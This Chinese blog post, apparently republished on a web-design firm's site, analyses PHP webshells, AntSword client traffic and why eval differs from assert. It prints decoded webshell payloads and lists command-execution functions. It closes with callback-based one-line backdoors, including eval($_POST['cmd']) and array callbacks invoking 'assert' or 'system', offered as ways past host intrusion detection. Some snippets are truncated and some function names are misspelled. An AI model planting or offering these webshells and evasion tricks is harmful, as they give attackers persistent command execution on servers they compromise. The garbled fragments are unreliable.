本篇文章給大家分享的是有關(guān)分析webshell以及eval與assert區(qū)別是什么,小編覺得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
網(wǎng)站建設(shè)哪家好,找創(chuàng)新互聯(lián)!專注于網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、小程序制作、集團(tuán)企業(yè)網(wǎng)站建設(shè)等服務(wù)項(xiàng)目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了襄陽(yáng)免費(fèi)建站歡迎大家使用!
一句話木馬
可以在目標(biāo)服務(wù)器上執(zhí)行PHP代碼,并和客戶端(如菜刀,Cknife、冰蝎、蟻劍)進(jìn)行交互的webshell,俗稱小馬。
根據(jù)PHP語(yǔ)法,編寫較多代碼,并在服務(wù)器上執(zhí)行,完成所有功能的Webshell,俗稱大馬
利用系統(tǒng)邏輯漏洞(如php uaf漏洞),繞過訪問控制或執(zhí)行特殊功能的WebShell
string system ( string $command [, int &$return_var ] ); # $command為執(zhí)行的命令,&return_var可選,用來存放命令執(zhí)行后的狀態(tài)碼 # system 函數(shù)執(zhí)行有回顯,可將結(jié)果顯示在頁(yè)面上
void passthru ( string $command [, int &$return_var ] ); # 和system函數(shù)類似,$command為執(zhí)行的命令,&return_var可選,用來存放命令執(zhí)行后的狀態(tài)碼 # passthru 執(zhí)行有回顯,可將執(zhí)行結(jié)果顯示在頁(yè)面上
string exec ( string $command [, array &$output [, int &$return_var ]] ); # $command是要執(zhí)行的命令 # $output是獲得執(zhí)行命令輸出的每一行字符串,$return_var用來保存命令執(zhí)行的狀態(tài)碼(檢測(cè)成功或失敗) # exec()函數(shù)執(zhí)行無(wú)回顯,默認(rèn)返回最后一行結(jié)果
string shell_exec( string &command); # $command是要執(zhí)行的命令 # shell_exec()函數(shù)默認(rèn)無(wú)回顯,通過 echo 可將執(zhí)行結(jié)果輸出到頁(yè)面 # `(反引號(hào)) shell_exec() 函數(shù)實(shí)際上僅是反引號(hào) (`) 操作符的變體,當(dāng)禁用shell_exec時(shí),` 也不可執(zhí)行 # 在php中稱之為執(zhí)行運(yùn)算符,PHP 將嘗試將反引號(hào)中的內(nèi)容作為 shell 命令來執(zhí)行,并將其輸出信息返回
resource popen ( string $command , string $mode ); # 函數(shù)需要兩個(gè)參數(shù),一個(gè)是執(zhí)行的命令command,另外一個(gè)是指針文件的連接模式mode,有r和w代表讀和寫。函數(shù)不會(huì)直接返回執(zhí)行結(jié)果,而是返回一個(gè)文件指針,但是命令已經(jīng)執(zhí)行。popen()打開一個(gè)指向進(jìn)程的管道,該進(jìn)程由派生給定的command命令執(zhí)行而產(chǎn)生。返回一個(gè)和fopen()所返回的相同的文件指針,只不過它是單向的(只能用于讀或?qū)懀┎⑶冶仨氂胮close()來關(guān)閉。此指針可以用于fgets(),fgetss()和 fwrite()
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ); # 與Popen函數(shù)類似,但是可以提供雙向管道
void pcntl_exec ( string $path [, array $args [, array $envs ]] ) # path是可執(zhí)行二進(jìn)制文件路徑或一個(gè)在文件第一行指定了 一個(gè)可執(zhí)行文件路徑標(biāo)頭的腳本 # args是一個(gè)要傳遞給程序的參數(shù)的字符串?dāng)?shù)組。 # pcntl是linux下的一個(gè)擴(kuò)展,需要額外安裝,可以支持 php 的多線程操作。 # pcntl_exec函數(shù)的作用是在當(dāng)前進(jìn)程空間執(zhí)行指定程序,版本要求:PHP > 4.2.0
上述函數(shù)都是可以作為一個(gè)簡(jiǎn)單的webshell執(zhí)行一些系統(tǒng)的命令,那么與客戶端(菜刀,CKnife,蟻劍,冰蝎)完成交互的webshell是什么樣的呢?
準(zhǔn)備一個(gè)一句話木馬
在蟻劍添加手動(dòng)代理,用Burp抓包分析,如下圖所示:
將cmd參數(shù)解碼可以看到
// 臨時(shí)關(guān)閉PHP的錯(cuò)誤顯示功能 @ini_set("display_errors", "0"); // 設(shè)置執(zhí)行時(shí)間,為零說明永久執(zhí)行直到程序結(jié)束,是為了防止像dir、上傳文件大馬時(shí)超時(shí)。 @set_time_limit(0); // asenc方法,接收參數(shù),返回參數(shù) function asenc($out){ return $out; }; function asoutput(){ // 從緩沖區(qū)取出數(shù)據(jù) $output=ob_get_contents(); // 清空緩沖區(qū),并將緩沖區(qū)關(guān)閉 ob_end_clean(); echo "b48a94c80a"; // 輸出數(shù)據(jù) echo @asenc($output); echo "606e3eed3"; } // 打開緩沖區(qū),來保存所有的輸出 ob_start(); try{ // $_SERVER["SCRIPT_FILENAME"]是獲取當(dāng)前執(zhí)行腳本的絕對(duì)路徑,dirname() 函數(shù)返回路徑中的目錄名稱部分,也就是說$D是當(dāng)前執(zhí)行腳本所在的目錄 $D=dirname($_SERVER["SCRIPT_FILENAME"]); if($D=="") // $_SERVER["PATH_TRANSLATED"]獲取當(dāng)前腳本所在文件系統(tǒng)(不是文檔根目錄)的基本路徑。這是在服務(wù)器進(jìn)行虛擬到真實(shí)路徑的映像后的結(jié)果 $D=dirname($_SERVER["PATH_TRANSLATED"]); // 拼接字符串和一個(gè)制表位 $R="{$D} "; // 判斷是否為L(zhǎng)inux的文件目錄 if(substr($D,0,1)!="/"){ // 遍歷盤符 foreach(range("C","Z")as $L) // 如果存在盤符 if(is_dir("{$L}:")) // 拼接字符串 $R.="{$L}:"; }else{ // 否則拼接/ $R.="/"; } // 拼接制表位 $R.=" "; // 判斷posix_getegid方法是否存在,存在調(diào)用該方法按用戶id返回用戶相關(guān)信息 $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; // 如果用戶信息不為空,則返回name屬性,否則調(diào)用get_current_user()方法 $s=($u)?$u["name"]:@get_current_user(); // 返回運(yùn)行 PHP 的系統(tǒng)的有關(guān)信息 并拼接 $R.=php_uname(); $R.=" {$s}"; echo $R; ;} catch(Exception $e){ // 捕獲異常 echo "ERROR://".$e->getMessage(); }; // 運(yùn)行程序 asoutput(); die();
將此代碼放置在eval函數(shù)中執(zhí)行,返回結(jié)果如下圖所示:
這說明了eval函數(shù)將字符串按照php code解析并執(zhí)行了,所以客戶端只要構(gòu)造好相應(yīng)的php code,發(fā)送給服務(wù)器上的webshell,則可以執(zhí)行并返回。
當(dāng)我們?cè)偈褂昧心夸浀臅r(shí)候截?cái)啵梢钥吹饺缦聢D所示,蟻劍客戶端還是將封裝好的代碼發(fā)送給了服務(wù)端的webshell
@ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; }; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "7322e6777"; echo @asenc($output); echo "7529076fb4d2"; } ob_start(); try{ $D=base64_decode($_POST["od0d1a967133cb"]); $F=@opendir($D); if($F==NULL){ echo("ERROR:// Path Not Found Or No Permission!"); }else{ $M=NULL; $L=NULL; while($N=@readdir($F)){ $P=$D.$N; $T=@date("Y-m-d H:i:s",@filemtime($P)); @$E=substr(base_convert(@fileperms($P),10,8),-4); $R=" ".$T." ".@filesize($P)." ".$E." "; if(@is_dir($P)) $M.=$N."/".$R; else $L.=$N.$R; } echo $M.$L; @closedir($F); }; }catch(Exception $e){ echo "ERROR://".$e->getMessage(); }; asoutput(); die(); &od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==
其中od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==,這個(gè)od0d1a967133cb key的value值是base64解碼之后就是我的web服務(wù)的根目錄,可以看見,其實(shí)用于eval函數(shù)執(zhí)行的代碼都是大體相同的,只是更改了try-catch代碼塊中的邏輯,對(duì)于傳統(tǒng)的webshell管理工具,連接webshell并且執(zhí)行相關(guān)命令需要使用類似eval,assert等函數(shù)將字符串當(dāng)作php代碼執(zhí)行的性質(zhì),當(dāng)連接成功之后,就可以利用當(dāng)前web容器可解析的語(yǔ)言執(zhí)行代碼,并完成相關(guān)的操作。
這里總結(jié)一下,腳本要將字符串(或文件流)當(dāng)做PHP代碼來執(zhí)行,主要會(huì)使用到以下函數(shù):
eval
:PHP 4,PHP 5,PHP 7+ 均可用,接收一個(gè)參數(shù),將字符串作為PHP代碼執(zhí)行
//一句話
assert
: PHP 4,PHP5,PHP7.2以下均可使用,一般接收一個(gè)參數(shù),PHP5.4.8版本后可以接受兩個(gè)參數(shù)
// 一句話
正則匹配類:prge_replace
,mb_erge_replace
,prge_filter
等
// php5.5.0 以下 /e參數(shù)還能執(zhí)行 // 一句話 // php5.5.0+ /e 參數(shù)不能使用,推薦使用preg_replace_callback // 一句話?cǎi)R
文件包含類:include
,include_once
,require
,require_once
,file_get_contents
等
話說做webshell檢測(cè)的時(shí)候,因?yàn)橐@過HIDS,常規(guī)的一句話木馬,大馬都基本上會(huì)被攔截,不得不去找了一些php提供的”安全函數(shù)“(ps,這里我所指的“安全函數(shù)”是php的內(nèi)置的回調(diào)函數(shù),因?yàn)楸旧磉@些方法都是php自提供的,所以還是一定程度上可以繞過的)。開始使用的時(shí)候發(fā)現(xiàn)eval不能作為回調(diào)函數(shù)的后門?而是要用assert函數(shù)來代替eval?
意思就是當(dāng)我們構(gòu)造一個(gè)雙變量馬的時(shí)候,不能使用1=eval&2=xxx來使用,而只能使1=assert&2=command做為密碼連接,或者1=system&2=whoami來執(zhí)行命令
好奇心害死貓
查看官方文檔,他告知我如下:
eval是一個(gè)語(yǔ)言構(gòu)造器,而不是一個(gè)函數(shù),不能被可變函數(shù)調(diào)用;
然后我又去查詢什么是可變函數(shù),官方的定義如下:
PHP 支持可變函數(shù)的概念。這意味著如果一個(gè)變量名后有圓括號(hào),PHP 將尋找與變量的值同名的函數(shù),并且嘗試執(zhí)行它??勺兒瘮?shù)可以用來實(shí)現(xiàn)包括回調(diào)函數(shù),函數(shù)表在內(nèi)的一些用途,可變函數(shù)不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及類似的語(yǔ)言結(jié)構(gòu)。需要使用自己的包裝函數(shù)來將這些結(jié)構(gòu)用作可變函數(shù)。
到這里其實(shí)官方已經(jīng)說得很清楚了,但是我還是想一探究竟,深入淺出
安裝vld擴(kuò)展(這里提示,安裝擴(kuò)展在linux下,且php是自編譯的,安裝擴(kuò)展是最簡(jiǎn)單的)
使用vld擴(kuò)展,可以清楚的看到php5
,php7
assert
函數(shù),eval
函數(shù)在opcode
中執(zhí)行過程
關(guān)于php解釋型語(yǔ)言以及opcode的一些解釋
php是解釋型語(yǔ)言,所謂“解釋型語(yǔ)言”就是指用這種語(yǔ)言寫的程序不會(huì)被直接編譯為本地機(jī)器語(yǔ)言(native machine language),而是會(huì)被編譯為一種中間形式(代碼),很顯然這種中間形式不可能直接在CPU上執(zhí)行(因?yàn)镃PU只能執(zhí)行本地機(jī)器指令),但是這種中間形式可以在使用本地機(jī)器指令(如今大多是使用C語(yǔ)言)編寫的軟件上執(zhí)行。
PHP使用主要虛擬機(jī)(Zend虛擬機(jī),譯注:HHVM也是一種執(zhí)行PHP代碼的虛擬機(jī),但很顯然Zend虛擬機(jī)還是目前的主流)可以分為兩大部分,它們是緊密相連的:
編譯棧(compile stack):識(shí)別PHP語(yǔ)言指令,把它們轉(zhuǎn)換為中間形式
執(zhí)行棧(execution stack):獲取中間形式的代碼指令并在引擎上執(zhí)行,引擎是用C或者匯編編寫成的
OPCode
Zend VM的一個(gè)OPCode對(duì)應(yīng)虛擬機(jī)的一個(gè)底層操作。Zend虛擬機(jī)有很多OPCode:它們可以做很多事情。隨著PHP的發(fā)展,也引入了越來越多的OPCode,這都是源于PHP可以做越來越多的事情??梢栽赑HP的源代碼文件Zend/zend_vm_opcodes.h中看到所有的OPCode。
Zend VM的每個(gè)OPCode的工作方式都完全相同:它們都有一個(gè)handler(譯注:在Zend VM中,handler是一個(gè)函數(shù)指針,它指向OPCode對(duì)應(yīng)的處理函數(shù)的地址,這個(gè)處理函數(shù)就是用于實(shí)現(xiàn)OPCode具體操作的),這是一個(gè)C函數(shù),這個(gè)函數(shù)就包含了執(zhí)行這個(gè)OPCode時(shí)會(huì)運(yùn)行的代碼(例如“add”,它就會(huì)執(zhí)行一個(gè)基本的加法運(yùn)算)。每個(gè)handler都可以使用0、1或者2個(gè)操作數(shù):op1和op2,這個(gè)函數(shù)運(yùn)行后,它會(huì)后返回一個(gè)結(jié)果,有時(shí)也會(huì)返回一段信息(extended_value)
如下圖所示,可以看到eval
是INCLUDE_OR_EVAL
去處理,而assert
是用DO_FCALL
去處理
在php源文件Zend/zend_vm_opcodes.h中看到所有的OPCode,其中在Zend/zend_vm_def.h文件中可以看見DO_FCALL這個(gè)OPCode的具體操作
在這里說一下第一個(gè)判斷條件,因?yàn)榇_實(shí)不懂,在網(wǎng)上找了與一下相關(guān)的解釋
//如果EG(active_op_array)->run_time_cache[]數(shù)組中存在這個(gè)值,就取出來,畢竟C原生態(tài)數(shù)組取數(shù)據(jù)速度要遠(yuǎn)遠(yuǎn)超過zend_hash_quick_find(畢竟他要計(jì)算hash值,還要遍歷,不能達(dá)到真正的O(1) if (CACHED_PTR(opline->op1.literal->cache_slot)) { ce = CACHED_PTR(opline->op1.literal->cache_slot); }
然后如果C原生態(tài)數(shù)組里沒有這個(gè)函數(shù),就會(huì)進(jìn)入else if中,進(jìn)行一個(gè)哈希查找,并把函數(shù)指針放入 EX(function_state).function,最后再調(diào)用該函數(shù)
到這里就可以看到為什么eval參數(shù)中必須是php代碼,而不是命令,當(dāng)在eval中的參數(shù)為命令的時(shí)候,就會(huì)出現(xiàn)eval() 'd code
的錯(cuò)誤,當(dāng)參數(shù)為php代碼的時(shí)候,就會(huì)直接編譯執(zhí)行參數(shù)。
從OPCode中可以看到,eval就是Zend函數(shù),assert是宏編寫的,最后在調(diào)用上是不同的,如下圖所示,eval就不是宏定義的
在php7+中,assert斷言也已經(jīng)成為語(yǔ)言解釋器,再也不是函數(shù)了,所以在php7中使用assert作為回調(diào)后門不能成功的原因就在于此
給大家留點(diǎn)彩蛋吧哈哈哈,我實(shí)在太菜了
// (PHP 4, PHP 5, PHP 7) // register_shutdown_function — 注冊(cè)一個(gè)會(huì)在php中止時(shí)執(zhí)行的函數(shù) // register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void // php7+ 存在立即執(zhí)行函數(shù)(function($a){@eval($a)})($_POST['cmd'])
// (PHP 5, PHP 7) // array_udiff_assoc — 帶索引檢查計(jì)算數(shù)組的差集,用回調(diào)函數(shù)比較數(shù)據(jù) // array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array
// (PHP 5, PHP 7) // array_intersect_uassoc — 帶索引檢查計(jì)算數(shù)組的交集,用回調(diào)函數(shù)比較索引 // array_intersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array " "),array(1),"assert"); ?> " "),array(1),"system"); ?>
// forward_static_call_array — 調(diào)用靜態(tài)方法并將參數(shù)作為數(shù)組傳遞 // forward_static_call_array ( callable $function , array $parameters ) : mixed
// (PHP 5 >= 5.1.0, PHP 7) // array_intersect_ukey — 用回調(diào)函數(shù)比較鍵名來計(jì)算數(shù)組的交集 1),array(1),"assert"); ?> 1),array(1),"system"); ?>
// register_tick_function — 注冊(cè)一個(gè)函數(shù),以便在每次被標(biāo)記時(shí)執(zhí)行 // register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool
// (PHP 4 >= 4.0.5, PHP 5, PHP 7) // array_reduce — 用回調(diào)函數(shù)迭代地將數(shù)組簡(jiǎn)化為單一的值 // array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed
// (PHP 5, PHP 7) // array_udiff — 用回調(diào)函數(shù)比較數(shù)據(jù)來計(jì)算數(shù)組的差集 // array_udiff ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array
以上就是分析webshell以及eval與assert區(qū)別是什么,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見到或用到的。希望你能通過這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。